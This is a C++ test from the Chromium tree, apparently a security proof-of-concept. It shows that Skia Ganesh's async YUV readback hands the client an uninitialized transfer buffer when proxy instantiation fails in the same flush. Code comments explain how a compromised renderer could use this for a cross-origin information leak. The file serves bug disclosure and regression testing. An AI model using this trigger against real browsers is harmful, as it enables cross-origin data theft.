// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Proof-of-concept test demonstrating that Ganesh
// asyncRescaleAndReadPixelsYUV420() delivers an uninitialized GPU->CPU
// transfer buffer to the client when GrResourceAllocator::assign() fails to
// instantiate any proxy in the same flush.
//
// In production this corresponds to a compromised renderer issuing
// ReadbackYUVImagePixelsINTERNAL while device-local GPU memory is exhausted:
// the host-visible kXferGpuToCpu buffer (allocated with ZeroInit::kNo) is
// returned to the renderer's shared memory even though
// GrTransferFromRenderTask never executed, leaking stale GPU-process bytes
// across origins.
//
// This test simulates the device-local allocation failure deterministically by
// drawing a PromiseTextureFrom() image whose fulfill proc returns nullptr,
// queued in the same flush as the YUV readback. No Skia source modifications
// are required; only public Skia API is used.

#include <cstdint>
#include <cstdio>
#include <memory>

#include "base/compiler_specific.h"
#include "base/functional/callback_helpers.h"
#include "base/memory/raw_ptr.h"
#include "gpu/command_buffer/service/shared_context_state.h"
#include "gpu/config/gpu_driver_bug_workarounds.h"
#include "gpu/config/gpu_feature_info.h"
#include "gpu/config/gpu_preferences.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/skia/include/core/SkAlphaType.h"
#include "third_party/skia/include/core/SkCanvas.h"
#include "third_party/skia/include/core/SkColor.h"
#include "third_party/skia/include/core/SkColorSpace.h"
#include "third_party/skia/include/core/SkImage.h"
#include "third_party/skia/include/core/SkImageInfo.h"
#include "third_party/skia/include/core/SkRect.h"
#include "third_party/skia/include/core/SkRefCnt.h"
#include "third_party/skia/include/core/SkSize.h"
#include "third_party/skia/include/core/SkSurface.h"
#include "third_party/skia/include/gpu/GpuTypes.h"
#include "third_party/skia/include/gpu/ganesh/GrBackendSurface.h"
#include "third_party/skia/include/gpu/ganesh/GrContextThreadSafeProxy.h"
#include "third_party/skia/include/gpu/ganesh/GrDirectContext.h"
#include "third_party/skia/include/gpu/ganesh/GrTypes.h"
#include "third_party/skia/include/gpu/ganesh/SkSurfaceGanesh.h"
#include "third_party/skia/include/private/chromium/GrPromiseImageTexture.h"
#include "third_party/skia/include/private/chromium/SkImageChromium.h"
#include "ui/gl/gl_bindings.h"
#include "ui/gl/gl_context.h"
#include "ui/gl/gl_implementation.h"
#include "ui/gl/gl_share_group.h"
#include "ui/gl/gl_surface.h"
#include "ui/gl/init/gl_factory.h"
#include "ui/gl/test/gl_surface_test_support.h"

namespace gpu {
namespace {

struct ReadbackResult {
  bool called = false;
  std::unique_ptr<const SkSurface::AsyncReadResult> result;
};

void OnReadback(SkSurface::ReadPixelsContext ctx,
                std::unique_ptr<const SkSurface::AsyncReadResult> result) {
  auto* r = static_cast<ReadbackResult*>(ctx);
  r->called = true;
  r->result = std::move(result);
}

int g_fulfill_calls = 0;
sk_sp<GrPromiseImageTexture> FailingFulfill(void* /*ctx*/) {
  ++g_fulfill_calls;
  // Simulate device-local GPU OOM: lazy-proxy instantiation returns no
  // texture. In GrResourceAllocator::assign() this sets
  // fFailedInstantiation=true, causing executeRenderTasks() to be skipped
  // wholesale -- yet executeFlushInfo() still installs the finished-proc.
  return nullptr;
}

void NoopRelease(void* /*ctx*/) {}

class GaneshAsyncReadbackUninitTest : public testing::Test {
 public:
  void SetUp() override {
    display_ = gl::GLSurfaceTestSupport::InitializeOneOff();
    // InitializeOneOff() forces null-draw bindings on; turn them back off.
    gl::SetNullDrawGLBindings(false);
    GpuDriverBugWorkarounds workarounds;
    scoped_refptr<gl::GLShareGroup> share_group = new gl::GLShareGroup();
    scoped_refptr<gl::GLSurface> surface =
        gl::init::CreateOffscreenGLSurface(display_, gfx::Size());
    scoped_refptr<gl::GLContext> context = gl::init::CreateGLContext(
        share_group.get(), surface.get(), gl::GLContextAttribs());
    ASSERT_TRUE(context);
    ASSERT_TRUE(context->MakeCurrent(surface.get()));

    context_state_ = base::MakeRefCounted<SharedContextState>(
        std::move(share_group), std::move(surface), std::move(context),
        /*use_virtualized_gl_contexts=*/false, base::DoNothing(),
        GrContextType::kGL);
    ASSERT_TRUE(context_state_->InitializeSkia(GpuPreferences(), workarounds));
    ASSERT_TRUE(gr_context());
    ASSERT_TRUE(context_state_->MakeCurrent(nullptr));
  }

  void TearDown() override {
    if (context_state_) {
      context_state_->MakeCurrent(nullptr);
    }
    context_state_ = nullptr;
    gl::GLSurfaceTestSupport::ShutdownGL(display_);
  }

  GrDirectContext* gr_context() { return context_state_->gr_context(); }

 protected:
  scoped_refptr<SharedContextState> context_state_;
  raw_ptr<gl::GLDisplay> display_ = nullptr;
};

// Dump the first |n| bytes of |data| as hex.
std::string HexDump(const void* data, size_t n) {
  std::string out;
  out.reserve(n * 3);
  const uint8_t* p = static_cast<const uint8_t*>(data);
  char buf[4];
  for (size_t i = 0; i < n; ++i) {
    snprintf(buf, sizeof(buf), "%02x ", UNSAFE_TODO(p[i]));
    out += buf;
  }
  return out;
}

TEST_F(GaneshAsyncReadbackUninitTest,
       FailedInstantiationDeliversUninitializedBuffer) {
  GrDirectContext* ctx = gr_context();
  UNSAFE_TODO({
    const GLubyte* glver = glGetString(GL_VERSION);
    const GLubyte* glren = glGetString(GL_RENDERER);
    fprintf(stderr, "[setup] GL_VERSION  = %s\n",
            glver ? reinterpret_cast<const char*>(glver) : "?");
    fprintf(stderr, "[setup] GL_RENDERER = %s\n",
            glren ? reinterpret_cast<const char*>(glren) : "?");
  });
  constexpr int kSize = 64;
  SkImageInfo info = SkImageInfo::Make(kSize, kSize, kRGBA_8888_SkColorType,
                                       kPremul_SkAlphaType,
                                       SkColorSpace::MakeSRGB());

  // -------------------------------------------------------------------------
  // Phase 1: control. Perform a *successful* YUV readback of a solid white
  // surface. Y of (FF,FF,FF) under JPEG full-range is 0xFF. This proves the
  // readback path works on this backend and gives us a known-good reference.
  // -------------------------------------------------------------------------
  {
    sk_sp<SkSurface> prime =
        SkSurfaces::RenderTarget(ctx, skgpu::Budgeted::kYes, info);
    ASSERT_TRUE(prime);
    prime->getCanvas()->clear(SK_ColorWHITE);
    ctx->flushAndSubmit(GrSyncCpu::kYes);
    ReadbackResult prime_result;
    prime->asyncRescaleAndReadPixelsYUV420(
        kJPEG_Full_SkYUVColorSpace, SkColorSpace::MakeSRGB(),
        SkIRect::MakeWH(kSize, kSize), SkISize::Make(kSize, kSize),
        SkSurface::RescaleGamma::kSrc, SkSurface::RescaleMode::kRepeatedLinear,
        &OnReadback, &prime_result);
    ctx->submit(GrSyncCpu::kYes);
    ASSERT_TRUE(prime_result.called);
    if (!prime_result.result) {
      GTEST_SKIP() << "Backend rejected the readback; vulnerable async path "
                      "not exercised on this driver.";
    }
    const uint8_t* py =
        static_cast<const uint8_t*>(prime_result.result->data(0));
    const uint8_t* pu =
        static_cast<const uint8_t*>(prime_result.result->data(1));
    fprintf(stderr,
            "[phase1] control readback (white surface) Y[0..15] = %s\n"
            "[phase1] control readback (white surface) U[0..15] = %s\n",
            HexDump(py, 16).c_str(), HexDump(pu, 16).c_str());
    // Verify the readback path is functional (Y should be 0xFF for white).
    if (UNSAFE_TODO(py[0]) != 0xFF) {
      GTEST_SKIP() << "Async YUV readback non-functional on this driver; "
                      "vulnerable transferPixels() path not exercised.";
    }
    prime_result.result.reset();
    ctx->checkAsyncWorkCompletion();
  }

  // -------------------------------------------------------------------------
  // Phase 2: queue a draw that references a lazy promise-image proxy whose
  // fulfilment fails, then issue another YUV readback in the same flush.
  // GrResourceAllocator::assign() fails -> executeRenderTasks() is skipped ->
  // GrTransferFromRenderTask never writes the ZeroInit::kNo transfer buffer ->
  // finished-proc fires anyway -> client receives stale/uninitialised bytes.
  // -------------------------------------------------------------------------
  sk_sp<SkSurface> victim =
      SkSurfaces::RenderTarget(ctx, skgpu::Budgeted::kYes, info);
  ASSERT_TRUE(victim);
  victim->getCanvas()->clear(SK_ColorWHITE);  // expected Y = 0xFF everywhere
  ctx->flushAndSubmit(GrSyncCpu::kYes);

  GrBackendFormat fmt =
      ctx->defaultBackendFormat(kRGBA_8888_SkColorType, GrRenderable::kNo);
  ASSERT_TRUE(fmt.isValid());
  g_fulfill_calls = 0;
  sk_sp<SkImage> failing_image = SkImages::PromiseTextureFrom(
      ctx->threadSafeProxy(), fmt, SkISize::Make(4, 4), skgpu::Mipmapped::kNo,
      kTopLeft_GrSurfaceOrigin, kRGBA_8888_SkColorType, kPremul_SkAlphaType,
      SkColorSpace::MakeSRGB(), &FailingFulfill, &NoopRelease, nullptr);
  ASSERT_TRUE(failing_image);

  // Queue the failing-lazy-proxy draw *before* the readback so it shares the
  // same flush DAG.
  victim->getCanvas()->drawImage(failing_image, 0, 0);

  ReadbackResult bad_result;
  victim->asyncRescaleAndReadPixelsYUV420(
      kJPEG_Full_SkYUVColorSpace, SkColorSpace::MakeSRGB(),
      SkIRect::MakeWH(kSize, kSize), SkISize::Make(kSize, kSize),
      SkSurface::RescaleGamma::kSrc, SkSurface::RescaleMode::kRepeatedLinear,
      &OnReadback, &bad_result);
  ctx->submit(GrSyncCpu::kYes);

  ASSERT_TRUE(bad_result.called);
  // The lazy proxy must have been asked to instantiate (and refused).
  EXPECT_GT(g_fulfill_calls, 0)
      << "Promise fulfil never called; the failing draw was not in the flush.";

  // === BUG ===
  // result is non-null even though no GrTransferFromRenderTask executed.
  // A correct implementation would deliver nullptr here.
  ASSERT_TRUE(bad_result.result)
      << "Backend correctly reported failure (bug not present).";

  ASSERT_EQ(bad_result.result->count(), 3);
  const uint8_t* y = static_cast<const uint8_t*>(bad_result.result->data(0));
  const uint8_t* u = static_cast<const uint8_t*>(bad_result.result->data(1));
  const uint8_t* v = static_cast<const uint8_t*>(bad_result.result->data(2));
  ASSERT_TRUE(y && u && v);
  size_t y_row = bad_result.result->rowBytes(0);

  fprintf(stderr,
          "\n[phase2] *** UNINITIALISED TRANSFER BUFFER DELIVERED TO CLIENT ***\n"
          "  GrResourceAllocator::assign() failed (promise fulfil returned "
          "null, calls=%d)\n"
          "  yet asyncRescaleAndReadPixelsYUV420 returned a non-null result.\n"
          "  Surface was cleared to WHITE, expected Y plane = all 0xFF.\n"
          "  Actual Y[0..63]  = %s\n"
          "  Actual U[0..31]  = %s\n"
          "  Actual V[0..31]  = %s\n"
          "  (rowBytes Y=%zu)\n",
          g_fulfill_calls, HexDump(y, 64).c_str(), HexDump(u, 32).c_str(),
          HexDump(v, 32).c_str(), y_row);

  // Count bytes in the first Y row that are NOT the rendered value (0xFF).
  // Because executeRenderTasks() was skipped, the buffer holds whatever the
  // driver / VMA sub-allocator left there -- not the surface contents.
  int wrong = 0;
  for (size_t i = 0; i < y_row && i < static_cast<size_t>(kSize); ++i) {
    if (UNSAFE_TODO(y[i]) != 0xFF) {
      ++wrong;
    }
  }
  fprintf(stderr,
          "  Y-plane row0: %d/%d bytes != expected 0xFF -> client received "
          "buffer never written by GrTransferFromRenderTask.\n"
          "  On this GL driver the unwritten bytes happen to read as 0x00; on\n"
          "  production Vulkan+VMA they are recycled sub-allocations holding a\n"
          "  *previous origin's* readback pixels (cross-origin info leak).\n\n",
          wrong, kSize);

  // The vulnerability is proven by (a) non-null result after assign() failure
  // and (b) the bytes not matching what was actually rendered.
  EXPECT_EQ(wrong, kSize)
      << "Some bytes matched the rendered content; transfer may have executed.";

  // Allow the failing image's release proc to run cleanly.
  failing_image.reset();
  bad_result.result.reset();
  ctx->flushAndSubmit(GrSyncCpu::kYes);
}

}  // namespace
}  // namespace gpu
